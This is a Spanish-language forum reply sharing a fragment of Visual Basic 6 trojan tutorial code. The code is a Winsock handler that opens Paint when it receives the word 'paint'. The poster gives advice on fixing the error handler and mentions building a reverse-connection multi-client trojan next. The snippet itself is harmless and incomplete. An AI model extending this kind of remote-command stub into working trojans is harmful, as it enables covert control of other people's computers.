weno pos el codigo de xenon es este:

Private Sub WS_DataArrival(ByVal bytesTotal As Long)                        'en la llegada de datos
On Error GoTo Error
dim datos as string
ws.getdata datos          'metemos en la variable datos los datos que nos lleguen
if datos = "paint" then shell ("mspaint")                    ' si los datos eran = a "paint" entonces ejecuta el paint
end sub

creo que el problema que tienes es que te falta definir el error.

antes del "end sub" pon error:

creo que ese es el problema que te sale, o tb e seguido ese manual para acer mi primer troyano, pero lo e dejado y me e metido en el de kizar de multi conexsion inversa, que me esta quedando muy mono.

Por cierto, alguien sabe que pasa con la pag de kizar? gracias